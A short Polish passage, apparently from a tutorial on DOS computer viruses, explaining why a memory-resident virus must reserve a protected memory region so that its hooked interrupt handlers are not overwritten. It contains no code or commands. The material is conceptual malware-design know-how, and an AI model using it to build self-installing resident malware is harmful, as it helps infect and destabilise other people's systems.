Pamięć przydzielana programom przez system DOS jest zwalniana zaraz po ich zakończeniu, stąd też wirus rezydentny, chcąc przejmować przerwania, musi wygospodarować sobie jakiś fragment w pamięci, do którego może się skopiować, aby nie zostać zamazanym przez kod innego programu, wczytywanego do zwolnionych przez system obszarów pamięci.
Do instalacji można wykorzystać dowolny fragment pamięci, który na pewno nie zostanie wykorzystany i zamazany przez żaden inny program (co skończyłoby się prędzej czy później zawieszeniem komputera, gdyż zostałaby zamazana procedura obsługi przejętego przerwania).
Politica de confidentialitate | Termeni si conditii de utilizare |
Vizualizari: 791
Importanta:
Termeni si conditii de utilizare | Contact
© SCRIGROUP 2024 . All rights reserved